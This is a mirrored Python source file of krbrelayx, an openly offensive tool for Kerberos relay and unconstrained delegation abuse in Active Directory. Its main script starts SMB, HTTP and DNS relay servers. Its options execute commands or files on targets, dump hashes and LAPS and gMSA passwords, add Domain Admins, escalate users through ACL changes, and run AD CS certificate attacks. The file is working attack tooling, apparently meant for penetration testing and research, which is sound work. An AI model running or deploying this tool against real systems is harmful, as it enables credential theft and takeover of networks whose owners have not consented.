mirror of
https://github.com/dirkjanm/krbrelayx.git
synced 2026-11-07 09:25:58 -10:00
266 lines
14 KiB
Python
Executable File
266 lines
14 KiB
Python
Executable File
#!/usr/bin/env python
|
|
####################
|
|
#
|
|
# Copyright (c) 2020 Dirk-jan Mollema (@_dirkjan)
|
|
#
|
|
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
# of this software and associated documentation files (the "Software"), to deal
|
|
# in the Software without restriction, including without limitation the rights
|
|
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
# copies of the Software, and to permit persons to whom the Software is
|
|
# furnished to do so, subject to the following conditions:
|
|
#
|
|
# The above copyright notice and this permission notice shall be included in all
|
|
# copies or substantial portions of the Software.
|
|
#
|
|
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
# SOFTWARE.
|
|
#
|
|
####################
|
|
#
|
|
# This tool is based on ntlmrelayx, part of Impacket
|
|
# Copyright (c) 2013-2018 SecureAuth Corporation
|
|
#
|
|
# Impacket is provided under under a slightly modified version
|
|
# of the Apache Software License.
|
|
# See https://github.com/SecureAuthCorp/impacket/blob/master/LICENSE
|
|
# for more information.
|
|
#
|
|
#
|
|
# Ntlmrelayx authors:
|
|
# Alberto Solino (@agsolino)
|
|
# Dirk-jan Mollema / Outsider Security (www.outsidersecurity.nl)
|
|
#
|
|
|
|
import argparse
|
|
import sys
|
|
import binascii
|
|
import logging
|
|
|
|
from impacket.examples import logger
|
|
from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS
|
|
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
|
|
|
|
from lib.servers import SMBRelayServer, HTTPKrbRelayServer, DNSRelayServer
|
|
from lib.utils.config import KrbRelayxConfig
|
|
|
|
RELAY_SERVERS = ( SMBRelayServer, HTTPKrbRelayServer, DNSRelayServer )
|
|
|
|
def stop_servers(threads):
|
|
todelete = []
|
|
for thread in threads:
|
|
if isinstance(thread, RELAY_SERVERS):
|
|
thread.server.shutdown()
|
|
todelete.append(thread)
|
|
# Now remove threads from the set
|
|
for thread in todelete:
|
|
threads.remove(thread)
|
|
del thread
|
|
|
|
def main():
|
|
def start_servers(options, threads):
|
|
for server in RELAY_SERVERS:
|
|
#Set up config
|
|
c = KrbRelayxConfig()
|
|
c.setProtocolClients(PROTOCOL_CLIENTS)
|
|
c.setTargets(targetSystem)
|
|
c.setExeFile(options.e)
|
|
c.setCommand(options.c)
|
|
c.setAddComputerSMB(None)
|
|
c.setEnumLocalAdmins(options.enum_local_admins)
|
|
c.setEncoding(codec)
|
|
c.setMode(mode)
|
|
c.setAttacks(PROTOCOL_ATTACKS)
|
|
c.setLootdir(options.lootdir)
|
|
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid)
|
|
c.setIPv6(options.ipv6)
|
|
c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
|
|
c.setSMB2Support(not options.no_smb2support)
|
|
c.setInterfaceIp(options.interface_ip)
|
|
if options.altname:
|
|
c.setAltName(options.altname)
|
|
if options.krbhexpass and not options.krbpass:
|
|
c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, binascii.unhexlify(options.krbhexpass), options.krbsalt, True)
|
|
else:
|
|
c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, options.krbpass, options.krbsalt, False)
|
|
c.setKrbOptions(options.format, options.victim)
|
|
c.setIsADCSAttack(options.adcs)
|
|
c.setADCSOptions(options.template)
|
|
|
|
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
|
|
if server is HTTPKrbRelayServer and options.r is not None:
|
|
c.setMode('REDIRECT')
|
|
c.setRedirectHost(options.r)
|
|
|
|
s = server(c)
|
|
s.start()
|
|
threads.add(s)
|
|
return c
|
|
|
|
# Init the example's logger theme
|
|
logger.init()
|
|
|
|
#Parse arguments
|
|
parser = argparse.ArgumentParser(add_help=False,
|
|
description="Kerberos relay and unconstrained delegation abuse tool. "
|
|
"By @_dirkjan / dirkjanm.io")
|
|
parser._optionals.title = "Main options"
|
|
|
|
#Main arguments
|
|
parser.add_argument("-h", "--help", action="help", help='show this help message and exit')
|
|
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
|
parser.add_argument('-t', "--target", action='store', metavar = 'TARGET', help='Target to attack, '
|
|
'since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use.')
|
|
parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or '
|
|
'full URL, one per line')
|
|
parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '
|
|
'automatically (only valid with -tf)')
|
|
|
|
# Interface address specification
|
|
parser.add_argument('-ip', '--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to '
|
|
'bind SMB and HTTP servers',default='')
|
|
|
|
parser.add_argument('-r', action='store', metavar='SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
|
|
parser.add_argument('-l', '--lootdir', action='store', type=str, required=False, metavar='LOOTDIR', default='.', help='Loot '
|
|
'directory in which gathered loot (TGTs or dumps) will be stored (default: current directory).')
|
|
parser.add_argument('-f', '--format', default='ccache', choices=['ccache', 'kirbi'], action='store',help='Format to store tickets in. Valid: ccache (Impacket) or kirbi'
|
|
' (Mimikatz format) default: ccache')
|
|
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
|
|
'"%s"). If errors are detected, run chcp.com at the target, '
|
|
'map the result with '
|
|
'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py '
|
|
'again with -codec and the corresponding codec ' % sys.getdefaultencoding())
|
|
parser.add_argument('-no-smb2support', action="store_false", default=False, help='Disable SMB2 Support')
|
|
|
|
parser.add_argument('-wh', '--wpad-host', action='store', help='Enable serving a WPAD file for Proxy Authentication attack, '
|
|
'setting the proxy host to the one supplied.')
|
|
parser.add_argument('-wa', '--wpad-auth-num', action='store', help='Prompt for authentication N times for clients without MS16-077 installed '
|
|
'before serving a WPAD file.')
|
|
parser.add_argument('-6', '--ipv6', action='store_true', help='Listen on both IPv6 and IPv4')
|
|
|
|
# Authentication arguments
|
|
group = parser.add_argument_group('Kerberos Keys (of your account with unconstrained delegation)')
|
|
group.add_argument('-p', '--krbpass', action="store", metavar="PASSWORD", help='Account password')
|
|
group.add_argument('-hp', '--krbhexpass', action="store", metavar="HEXPASSWORD", help='Hex-encoded password')
|
|
group.add_argument('-s', '--krbsalt', action="store", metavar="USERNAME", help='Case sensitive (!) salt. Used to calculate Kerberos keys.'
|
|
'Only required if specifying password instead of keys.')
|
|
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
|
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
|
|
'(128 or 256 bits)')
|
|
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
|
|
'ommited it use the domain part (FQDN) specified in the target parameter')
|
|
|
|
#SMB arguments
|
|
smboptions = parser.add_argument_group("SMB attack options")
|
|
|
|
smboptions.add_argument('-e', action='store', required=False, metavar='FILE', help='File to execute on the target system. '
|
|
'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
|
|
smboptions.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', help='Command to execute on '
|
|
'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
|
|
'directory).')
|
|
smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)')
|
|
|
|
#LDAP options
|
|
ldapoptions = parser.add_argument_group("LDAP attack options")
|
|
ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
|
|
ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin')
|
|
ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks')
|
|
ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks')
|
|
ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one')
|
|
ldapoptions.add_argument('--add-computer', action='store', metavar='COMPUTERNAME', required=False, const='Rand', nargs='?', help='Attempt to add a new computer account')
|
|
ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account')
|
|
ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name')
|
|
ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user')
|
|
ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user')
|
|
ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info')
|
|
|
|
# AD CS options
|
|
adcsoptions = parser.add_argument_group("AD CS attack options")
|
|
adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
|
|
adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`')
|
|
adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.')
|
|
adcsoptions.add_argument('-v', "--victim", action='store', metavar = 'TARGET', help='Victim username or computername$, to request the correct certificate name.')
|
|
|
|
try:
|
|
options = parser.parse_args()
|
|
except Exception as e:
|
|
logging.error(str(e))
|
|
sys.exit(1)
|
|
|
|
if options.debug is True:
|
|
logging.getLogger().setLevel(logging.DEBUG)
|
|
logging.getLogger('impacket.smbserver').setLevel(logging.DEBUG)
|
|
else:
|
|
logging.getLogger().setLevel(logging.INFO)
|
|
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
|
|
|
|
# Let's register the protocol clients we have
|
|
# ToDo: Do this better somehow
|
|
from lib.clients import PROTOCOL_CLIENTS
|
|
|
|
|
|
if options.codec is not None:
|
|
codec = options.codec
|
|
else:
|
|
codec = sys.getdefaultencoding()
|
|
|
|
if options.target is not None:
|
|
logging.info("Running in attack mode to single host")
|
|
mode = 'ATTACK'
|
|
targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS)
|
|
else:
|
|
if options.tf is not None:
|
|
#Targetfile specified
|
|
logging.info("Running in attack mode to hosts in targetfile")
|
|
targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS)
|
|
mode = 'ATTACK'
|
|
else:
|
|
logging.info("Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.")
|
|
targetSystem = None
|
|
mode = 'EXPORT'
|
|
|
|
if not options.krbpass and not options.krbhexpass and not options.hashes and not options.aesKey:
|
|
logging.info("Running in kerberos relay mode because no credentials were specified.")
|
|
if mode == 'EXPORT':
|
|
logging.error('You need to specify at least one relay target, or specify credentials to run in unconstrained delegation mode')
|
|
return
|
|
mode = 'RELAY'
|
|
else:
|
|
logging.info("Running in unconstrained delegation abuse mode using the specified credentials.")
|
|
|
|
if options.r is not None:
|
|
logging.info("Running HTTP server in redirect mode")
|
|
|
|
if targetSystem is not None and options.w:
|
|
watchthread = TargetsFileWatcher(targetSystem)
|
|
watchthread.start()
|
|
|
|
threads = set()
|
|
|
|
c = start_servers(options, threads)
|
|
|
|
print("")
|
|
logging.info("Servers started, waiting for connections")
|
|
try:
|
|
sys.stdin.read()
|
|
except KeyboardInterrupt:
|
|
pass
|
|
else:
|
|
pass
|
|
|
|
for s in threads:
|
|
del s
|
|
|
|
sys.exit(0)
|
|
|
|
|
|
|
|
# Process command-line arguments.
|
|
if __name__ == '__main__':
|
|
main()
|